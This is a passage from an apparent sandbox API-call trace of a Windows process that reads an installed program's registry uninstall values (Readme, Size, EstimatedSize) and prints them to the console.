CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.133] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.133] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.133] GetProcessHeap () returned 0x2e0000 [0148.133] GetProcessHeap () returned 0x2e0000 [0148.133] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.133] GetProcessHeap () returned 0x2e0000 [0148.133] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.133] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0148.133] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.133] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5c) returned 0x0 [0148.134] GetProcessHeap () returned 0x2e0000 [0148.134] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x5e) returned 0x3019a0 [0148.134] GetProcessHeap () returned 0x2e0000 [0148.134] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.134] GetProcessHeap () returned 0x2e0000 [0148.134] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x5e [0148.134] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x5c | out: pdwType=0x23f5f0*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=528229", pcbData=0x23f670*=0x5c) returned 0x0 [0148.134] __iob_func () returned 0x7fefd702a80 [0148.134] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.134] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.134] _fileno (_File=0x7fefd702ab0) returned 1 [0148.134] _errno () returned 0xc4bb0 [0148.134] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.134] _errno () returned 0xc4bb0 [0148.134] GetFileType (hFile=0x50) returned 0x1 [0148.134] lstrlenW (lpString=" ") returned 4 [0148.134] GetConsoleOutputCP () returned 0x1b5 [0148.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.134] GetConsoleOutputCP () returned 0x1b5 [0148.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.134] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.134] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.134] lstrlenW (lpString="Readme") returned 6 [0148.134] __iob_func () returned 0x7fefd702a80 [0148.134] _fileno (_File=0x7fefd702ab0) returned 1 [0148.134] _errno () returned 0xc4bb0 [0148.134] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.135] _errno () returned 0xc4bb0 [0148.135] GetFileType (hFile=0x50) returned 0x1 [0148.135] lstrlenW (lpString="Readme") returned 6 [0148.135] GetConsoleOutputCP () returned 0x1b5 [0148.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.135] GetConsoleOutputCP () returned 0x1b5 [0148.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0148.135] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.135] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.135] __iob_func () returned 0x7fefd702a80 [0148.135] _fileno (_File=0x7fefd702ab0) returned 1 [0148.135] _errno () returned 0xc4bb0 [0148.135] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.135] _errno () returned 0xc4bb0 [0148.135] GetFileType (hFile=0x50) returned 0x1 [0148.135] lstrlenW (lpString=" ") returned 4 [0148.135] GetConsoleOutputCP () returned 0x1b5 [0148.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.135] GetConsoleOutputCP () returned 0x1b5 [0148.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.135] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.135] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.136] __iob_func () returned 0x7fefd702a80 [0148.136] _fileno (_File=0x7fefd702ab0) returned 1 [0148.136] _errno () returned 0xc4bb0 [0148.136] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.136] _errno () returned 0xc4bb0 [0148.136] GetFileType (hFile=0x50) returned 0x1 [0148.136] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.136] GetConsoleOutputCP () returned 0x1b5 [0148.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.136] GetConsoleOutputCP () returned 0x1b5 [0148.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.136] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.136] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.136] __iob_func () returned 0x7fefd702a80 [0148.136] _fileno (_File=0x7fefd702ab0) returned 1 [0148.136] _errno () returned 0xc4bb0 [0148.136] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.136] _errno () returned 0xc4bb0 [0148.136] GetFileType (hFile=0x50) returned 0x1 [0148.136] lstrlenW (lpString=" ") returned 4 [0148.136] GetConsoleOutputCP () returned 0x1b5 [0148.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.137] GetConsoleOutputCP () returned 0x1b5 [0148.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.137] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.137] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.137] __iob_func () returned 0x7fefd702a80 [0148.137] _fileno (_File=0x7fefd702ab0) returned 1 [0148.137] _errno () returned 0xc4bb0 [0148.137] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.137] _errno () returned 0xc4bb0 [0148.137] GetFileType (hFile=0x50) returned 0x1 [0148.137] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=528229") returned 45 [0148.137] GetConsoleOutputCP () returned 0x1b5 [0148.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=528229", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0148.137] GetConsoleOutputCP () returned 0x1b5 [0148.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=528229", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=528229", lpUsedDefaultChar=0x0) returned 45 [0148.137] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0148.137] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.137] __iob_func () returned 0x7fefd702a80 [0148.137] _fileno (_File=0x7fefd702ab0) returned 1 [0148.137] _errno () returned 0xc4bb0 [0148.137] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.137] _errno () returned 0xc4bb0 [0148.137] GetFileType (hFile=0x50) returned 0x1 [0148.138] lstrlenW (lpString="\n") returned 1 [0148.138] GetConsoleOutputCP () returned 0x1b5 [0148.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.138] GetConsoleOutputCP () returned 0x1b5 [0148.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.138] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.138] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.138] GetProcessHeap () returned 0x2e0000 [0148.138] GetProcessHeap () returned 0x2e0000 [0148.138] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.138] GetProcessHeap () returned 0x2e0000 [0148.138] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x5e [0148.138] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0148.138] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.138] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.138] GetProcessHeap () returned 0x2e0000 [0148.138] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.138] GetProcessHeap () returned 0x2e0000 [0148.138] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.138] GetProcessHeap () returned 0x2e0000 [0148.138] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.138] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x9b34, pcbData=0x23f670*=0x4) returned 0x0 [0148.138] __iob_func () returned 0x7fefd702a80 [0148.138] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.138] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.139] _fileno (_File=0x7fefd702ab0) returned 1 [0148.139] _errno () returned 0xc4bb0 [0148.139] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.139] _errno () returned 0xc4bb0 [0148.139] GetFileType (hFile=0x50) returned 0x1 [0148.139] lstrlenW (lpString=" ") returned 4 [0148.139] GetConsoleOutputCP () returned 0x1b5 [0148.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.139] GetConsoleOutputCP () returned 0x1b5 [0148.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.139] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.139] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.139] lstrlenW (lpString="Size") returned 4 [0148.139] __iob_func () returned 0x7fefd702a80 [0148.139] _fileno (_File=0x7fefd702ab0) returned 1 [0148.139] _errno () returned 0xc4bb0 [0148.139] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.139] _errno () returned 0xc4bb0 [0148.139] GetFileType (hFile=0x50) returned 0x1 [0148.139] lstrlenW (lpString="Size") returned 4 [0148.139] GetConsoleOutputCP () returned 0x1b5 [0148.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.139] GetConsoleOutputCP () returned 0x1b5 [0148.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0148.140] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.140] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.140] __iob_func () returned 0x7fefd702a80 [0148.140] _fileno (_File=0x7fefd702ab0) returned 1 [0148.140] _errno () returned 0xc4bb0 [0148.140] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.140] _errno () returned 0xc4bb0 [0148.140] GetFileType (hFile=0x50) returned 0x1 [0148.140] lstrlenW (lpString=" ") returned 4 [0148.140] GetConsoleOutputCP () returned 0x1b5 [0148.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.140] GetConsoleOutputCP () returned 0x1b5 [0148.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.140] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.140] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.140] __iob_func () returned 0x7fefd702a80 [0148.140] _fileno (_File=0x7fefd702ab0) returned 1 [0148.140] _errno () returned 0xc4bb0 [0148.140] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.140] _errno () returned 0xc4bb0 [0148.140] GetFileType (hFile=0x50) returned 0x1 [0148.140] lstrlenW (lpString="REG_DWORD") returned 9 [0148.140] GetConsoleOutputCP () returned 0x1b5 [0148.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.141] GetConsoleOutputCP () returned 0x1b5 [0148.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.141] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.141] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.141] __iob_func () returned 0x7fefd702a80 [0148.141] _fileno (_File=0x7fefd702ab0) returned 1 [0148.141] _errno () returned 0xc4bb0 [0148.141] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.141] _errno () returned 0xc4bb0 [0148.141] GetFileType (hFile=0x50) returned 0x1 [0148.141] lstrlenW (lpString=" ") returned 4 [0148.141] GetConsoleOutputCP () returned 0x1b5 [0148.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.141] GetConsoleOutputCP () returned 0x1b5 [0148.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.141] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.141] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.142] __iob_func () returned 0x7fefd702a80 [0148.142] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.142] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x9b34") returned 6 [0148.142] _fileno (_File=0x7fefd702ab0) returned 1 [0148.142] _errno () returned 0xc4bb0 [0148.142] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.142] _errno () returned 0xc4bb0 [0148.142] GetFileType (hFile=0x50) returned 0x1 [0148.142] lstrlenW (lpString="0x9b34") returned 6 [0148.142] GetConsoleOutputCP () returned 0x1b5 [0148.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9b34", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.142] GetConsoleOutputCP () returned 0x1b5 [0148.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9b34", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x9b34", lpUsedDefaultChar=0x0) returned 6 [0148.142] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.142] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.142] __iob_func () returned 0x7fefd702a80 [0148.142] _fileno (_File=0x7fefd702ab0) returned 1 [0148.142] _errno () returned 0xc4bb0 [0148.142] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.142] _errno () returned 0xc4bb0 [0148.142] GetFileType (hFile=0x50) returned 0x1 [0148.142] lstrlenW (lpString="\n") returned 1 [0148.142] GetConsoleOutputCP () returned 0x1b5 [0148.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.142] GetConsoleOutputCP () returned 0x1b5 [0148.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.143] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.143] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.143] GetProcessHeap () returned 0x2e0000 [0148.143] GetProcessHeap () returned 0x2e0000 [0148.143] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.143] GetProcessHeap () returned 0x2e0000 [0148.143] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.143] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.143] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.143] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.143] GetProcessHeap () returned 0x2e0000 [0148.143] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.143] GetProcessHeap () returned 0x2e0000 [0148.143] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.143] GetProcessHeap () returned 0x2e0000 [0148.143] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.143] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x139835, pcbData=0x23f670*=0x4) returned 0x0 [0148.143] __iob_func () returned 0x7fefd702a80 [0148.143] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.143] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.143] _fileno (_File=0x7fefd702ab0) returned 1 [0148.143] _errno () returned 0xc4bb0 [0148.143] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.143] _errno () returned 0xc4bb0 [0148.143] GetFileType (hFile=0x50) returned 0x1 [0148.143] lstrlenW (lpString=" ") returned 4 [0148.143] GetConsoleOutputCP () returned 0x1b5 [0148.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.144] GetConsoleOutputCP () returned 0x1b5 [0148.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.144] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.144] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.144] lstrlenW (lpString="EstimatedSize") returned 13 [0148.144] __iob_func () returned 0x7fefd702a80 [0148.144] _fileno (_File=0x7fefd702ab0) returned 1 [0148.144] _errno () returned 0xc4bb0 [0148.144] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.144] _errno () returned 0xc4bb0 [0148.144] GetFileType (hFile=0x50) returned 0x1 [0148.144] lstrlenW (lpString="EstimatedSize") returned 13 [0148.144] GetConsoleOutputCP () returned 0x1b5 [0148.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.144] GetConsoleOutputCP () returned 0x1b5 [0148.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0148.144] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.144] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.144] __iob_func () returned 0x7fefd702a80 [0148.144] _fileno (_File=0x7fefd702ab0) returned 1 [0148.144] _errno () returned 0xc4bb0 [0148.144] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.144] _errno () returned 0xc4bb0 [0148.145] GetFileType (hFile=0x50) returned 0x1 [0148.145] lstrlenW (lpString=" ") returned 4 [0148.145] GetConsoleOutputCP () returned 0x1b5 [0148.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.145] GetConsoleOutputCP () returned 0x1b5 [0148.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.145] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.145] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.145] __iob_func () returned 0x7fefd702a80 [0148.145] _fileno (_File=0x7fefd702ab0) returned 1 [0148.145] _errno () returned 0xc4bb0 